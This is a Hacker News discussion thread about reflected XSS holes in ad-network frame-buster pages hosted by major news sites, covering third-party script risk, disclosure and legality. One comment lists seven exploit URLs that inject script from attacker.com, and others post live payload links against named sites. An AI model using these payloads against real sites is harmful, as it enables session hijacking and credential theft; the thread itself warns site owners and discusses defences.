

CNN, NYTimes, Mashable all vulnerable to XSS - kemayo
http://davidlynch.org/blog/2011/10/xss-is-fun/

======
tptacek
Generalizing this out just a little bit: _please_ be aware that when you
source Javascript from places like TypeKit or Crazyegg or whatnot, you're
setting the security of your web app at the _lowest common denominator_ of all
those sites.

It's not just a question of whether the script they're providing you today is
safe; it's a question of whether their own applications are sound enough to
prevent an attacker from popping them and changing what the script says.

I think the modern vogue for sourcing Javascript from random API providers is
a bad idea; I predict that the badness of that idea is going to become more
and more evident over the next few years; I think you'd be well-served by
investigating how much of that stuff you can serve directly.

~~~
nitrogen
How far would you go in hosting locally? Would your recommendation also apply
to Google Analytics or CDN-hosted jQuery, for example?

~~~
tptacek
It drives me up a wall when people use CDN jQuery. Just host jQuery.

~~~
niyazpk
Why?

~~~
tptacek
Because every page in the app is bound to carry the jQ dep, and you can just
as easily provide your own static file hosting for jQ. It seems like a
pointless complication to the security model of an app, to take its core
Javascript framework library and host it offsite.

~~~
theroo
You really think your home-rolled static file store will be more resistant to
compromise than Google?

~~~
tptacek
This question is nonsensical. If you can't host a static file you are screwed
no matter what. We can argue about how much of a risk Google CDN is (I don't
think it's much of one), but it's not zero.

"Home rolled static file store"? Sheesh.

~~~
pestaa
No offense, but from my perspective you're getting a little rude here without
really explaining the situation.

So far I grasped from you that external static files compromise the security
model so much it's worth the time and effort to keep up to date with them
locally _and_ be okay if the page load times suffer (they do especially with
minimalist sites.)

I understand the risk that Google CDN might be hacked and turned into a data
mining monster, but it would, at the same time, infect so many important and
popular sites on the whole web, I can't even imagine my sites being targeted.

~~~
dekz

        but it would, at the same time, infect so many important and popular sites on the whole web, I can't even imagine my sites being targeted.
    

Maybe, or maybe it's exploited to target only your site by detecting referrers
and only serving your site malicious javascript. Thomas is correct in arguing
to host your own.

~~~
pestaa
This implies I can do it better than Google or any other big-name-company CDN
I happen to trust.

I don't know about you or Thomas, but this isn't true for me.

~~~
tptacek
You ignored the point I'm making. You don't have a choice but to do "static
file hosting" securely.

------
nbpoole
Interesting: MySpace seems to have a "fixed" version of the code (but the date
indicates that it isn't a recent fix):

<http://www.myspace.com/eyewonder/interim.html>

    
    
        <script language="JavaScript">
        // NEW CODE 09-14-05
        var query = window.location.search;
       	var adUrl = query.substring(5, query.length);
       	var clickthru;
       	var failclickthru;
       	if (/^http:\/\/([-a-z0-9]+\.)*eyewonder\.com\//i.test(adUrl) && adUrl.indexOf('"') == -1) {
    			document.write('<s'+'cript language="JavaScript" src="');
    			document.write(adUrl+'"></s'+'cript>');
    		}
        </script>

------
cheald
So, I'm cleaning this up on our servers, and there are a bunch of other ad
networks that appear to be vulnerable. Adcentric and Adinterax appear to be
vulnerable. addineyev2 appears to be vulnerable as well.

Edit: Pointroll, eyeblaster also vulnerable. Unicast is vulnerable, but it'd
be very hard to exploit.

Whoever wrote these stub files should be flogged Old Testament style. This is
just negligent.

The good news is that the headline isn't accurate anymore. :)

~~~
Semiapies
Still worked on CNN when I tried it just now.

------
kemayo
It's an example of a fairly typical XSS hole in the HTML an advertiser has
provided. It just felt worth posting about because the sites involved are high
profile. Shows that even the big players don't always watch their inputs.

~~~
ChuckMcM
From the article "Also, don't trust your ad networks to know/care about
security."

This is one of those things that I wish something akin to Amazon's Silk
browser would be useful.

Replace the javascript with <img src=adnetwork/myid.png> and have the script
run on their end which provides the pre-rendered advertisement.

Yes I realize its not that simple, listening to Brandon Downey at Google
explain all the ways one might mount an XSS attack was always both awe
inspiring and depressing at the same time. We've seen a number of ad network
issues, it seems like a common attack surface.

~~~
rmc
Ah but the advertisers want dynamic ads and tracking and stuff!

------
GICodeWarrior
Wowza. <http://www.google.com/#q=inurl:eyewonder/interim.html>

~~~
mentat
Very nice. I always forget to get the Google scale of these sorts of issues.

------
bbastian
This makes me wonder; how is it appropriate to handle vulnerabilities such as
these?

A few months ago, I decided (as an experiment to see how common XSS actually
is) to click on random HN links and type "<asdf '\"" into any search bars and
look for weird rendering on the page or weird behaviour in the page source.
After half an hour, I had five or so exploitable XSS vulnerabilities, two of
the more prominent ones being CNN and Newegg. I sent emails to their security-
related issue addresses, but they never responded or fixed the issue.

After sending them a couple more emails, I just gave up. But this article
makes me wonder, could I have handled the situation better? The thought of
releasing a benign-but-scary exploit crossed my mind, b ut I'm uncertain...

~~~
Joakal
1) Follow their contact us request (Likely an email to the general address)
and make a task note in a month to review the correspondence (stateless).

2) If no reply in that timeframe, make a blog post and a recommendation to
listen to security reports. Post to HN. Public shame upon them to do two
things aforementioned.

I'm happy with this for my projects. I take security reports very seriously
and it's the only development priority over cat pictures.

For monetary incentive: Major websites will give a reward for reporting to
them.

------
thezilch
The article is currently down, but the skinny of the deal is many advertisers
will have you host "frame buster" [html] documents, so that they can execute
javascript outside of your ad iframes. Some are terribly bad at providing
clean source and exploitable by XSS, allowing an attacker to execute arbitrary
javascript on your site.

The following are some in-the-wild documents that exhibit these behaviors, and
you should remove, modify, or beware before further use.

    
    
      /videoegg/vedoc.html
      http://www.yoursite.com/videoegg/vedoc.html?tagid=foo&tagurl=http://www.attacker.com/malicious-js/
    
      /adx-iframe-v2.html
      http://www.yoursite.com/adx-iframe-v2.html?ad=www.attacker.com/malicious-js/%22mi.adinterax.com/js/y&vm=r&P=Y&adx_D_180421=h
    
      /eyereturn.html
      http://www.yoursite.com/eyereturn.html?foo%22%3E%3C/script%3E%3Cscript%20src=http://www.attacker.com/malicious-js/%3E
    
      /ifr_b.html
      http://www.yoursite.com/ifr_b.html?c=foo%22%3E%3C/script%3E%3Cscript%20src%3Dhttp://www.attacker.com/malicious-js/%3E
    
      /interim.html
      http://www.yoursite.com/interim.html?src=http://www.attacker.com/malicious-js/
    
      /eyewonder/interim.html
      http://www.yoursite.com/eyewonder/interim.html?src=http://www.attacker.com/malicious-js/
    
      /oggiPlayerLoader.htm -- requires framing the advert
      <iframe src="http://www.yoursite.com/oggiPlayerLoader.htm?version=1&tHtml=%3Cscript src%3Dhttp://www.attacker.com/malicious-js/%3E%3C/script%3E" style="display: block !important; width: 100%; height: 100%;">

------
llimllib
So, this guy is bragging about committing a felony, right?

(I think it's a very neat hack and that he shouldn't have to be worried,
but... am I right? Is this in fact a felony? Less?)

~~~
tptacek
I wish people would stop downmodding you to lightgrey just because they don't
like what you're saying, because while "committing a felony" is a somewhat
breathless way to word this, it's not absolutely false: you can conceivably be
prosecuted for doing stuff like this.

In Lynch's case, he's fantastically unlikely to get into anything more than PR
trouble over telling people about an XSS bug. But people have gotten into real
trouble over what they thought was benign investigation.

Web developers put a lot of effort into making web apps feel like they're
running on your own computer, but under the law, when you click around on a
web app, you are interacting with someone else's property.

~~~
llimllib
Thanks... I really did mean that as a question, I should have been clearer.

------
aidenn0
I've run into several XSS vulnerabilities that were easily detected just by
NoScript. The most blatant was on a banking related site where the contents of
a POST requests get put directly between the <head></head> tags. I considered
reporting them, but have heard too many horror stories of legal action being
brought about against reporters of such vulnerabilities that even if the
chance is very low, it's a hassle I just don't want to deal with now.

------
genieyclo
Plenty of big sites get posted pretty much daily to /r/xss, not to take away
from the severity of the problem in having big holes like this in ad networks.

------
qeorge
If one opens Google News and visits sites at random, you'll find at least 1 in
5 has an XSS vulnerability in their search box. Its really incredible. Just
type <plaintext> into the search box, and you'll be shocked how many sites
break.

~~~
dendory
Heh this is pretty funny actually. The third site I tried, randomly, ended up
being vulnerable:

[http://www.dziennik.pl/szukaj?q=%3Cfont+size%3D%2B10%3E&...](http://www.dziennik.pl/szukaj?q=%3Cfont+size%3D%2B10%3E&c=1&b=1&o=1&search_term=)

------
mbesto
I'll just leave this here...

<http://www.reddit.com/r/xss>

------
vinhboy
[http://www.foxnews.com/eyewonder/interim.html?src=https://ra...](http://www.foxnews.com/eyewonder/interim.html?src=https://raw.github.com/gist/1302603/bc73379a2307994dd3b6840112b76468af943ff7/mess.js)

Mustttt resssisttttt.......

~~~
antimatter15
You could even use HTML5 History pushState to get rid of that
/eyewonder/interim part of the URl and it'll look totally authentic.

------
drwxrwxrwt
This is by no means a new exploit. I've know about it for about a year and
sent warning emails to rather large players. The response, when I got one, was
that its the industry standard. Publisher's developers see the scripts when
network request to host them, and they often raise the issue. Yet the type of
the ads that require those frame busters pay well, and unfortunately those
concerns are swept away.

------
phatbyte
Couldn't this be simple solved with X-Content-Security-Policy header in order
to prevent non-authorized domains to run objects on the site ?

~~~
tptacek
When most browsers support CSP, maybe. Most don't today.

------
js4all
Those sites are fixed now. If you want to see the effect live, here is another
one which still works:
[http://www.flightstats.com/go/eyewonder/interim.html?src=htt...](http://www.flightstats.com/go/eyewonder/interim.html?src=http://davidlynch.org/projects/xss/eyewonder.js)

------
msmith
It's interesting that someone went out of their way to obfuscate the
interim.html script:

    
    
        document.write('<s'+'cript language="JavaScript" src="');
    

I guess they were intentionally trying to evade some tool that looks for
'<script'?

~~~
xentronium
[http://stackoverflow.com/questions/236073/why-split-the-
scri...](http://stackoverflow.com/questions/236073/why-split-the-script-tag-
when-writing-it-with-document-write)

Found a stack overflow question with explanation. Again, I believe, only IE
couldn't handle word script in the literal string.

~~~
msmith
Ah, I see. Thanks for the pointer.

------
fauldsh
I swear there is a pun in here somewhere, eyewonder if any-one else felt this
way?

Seeing things like this affect such big sites always scares me, good find.

------
anons2011
On the whole XSS is pretty much useless, as it's Non persistent HTML/JS or
whatever.

~~~
rmc
XSS allows you to read all the cookies of someone who follows your link, and
let's you (sorta) interact with that webpage as that user.

~~~
anons2011
Yes but no sensitive data would ever be stored in a cookie. There would be
other authentication, so it wouldn't just rely on having a stolen cookie.

~~~
WA
The session identifier IS sensitive enough. If you get this, you have access
to the system with the victim's user profile. Do you really believe that
developers implement additional session security if they fail to provide
proper input validation? Most of the time - I don't think so.

Furthermore, "other" authentication is almost always more or less broken. The
only way "other" authentication could work is to check the user's IP address
(which by itself adds only a bit of security - think of a public WiFi, e. g.
Starbucks) or browser features (which is not a reliable security factor as
this can easily be spoofed).

So, authentication usually works by transmitting session identification
cookies.

httpOnly and secure flags come to mind when trying to secure session ids, but
XSS can also be used to modify the DOM on the fly and to inject a nice little
fake login form that lets you steal the sensitive information in plaintext
(with a bit of user interaction though).

What else can you do with XSS? Drive-by downloads exploiting browser plugins,
exploitation frameworks such as BeEF, keyloggers etc.

Edit: Non-persistent XSS is surely less dangerous than persistent XSS, but
nevertheless, it is a threat and most of the time, an indicator for a
generally flawed Web application that should not be downplayed.

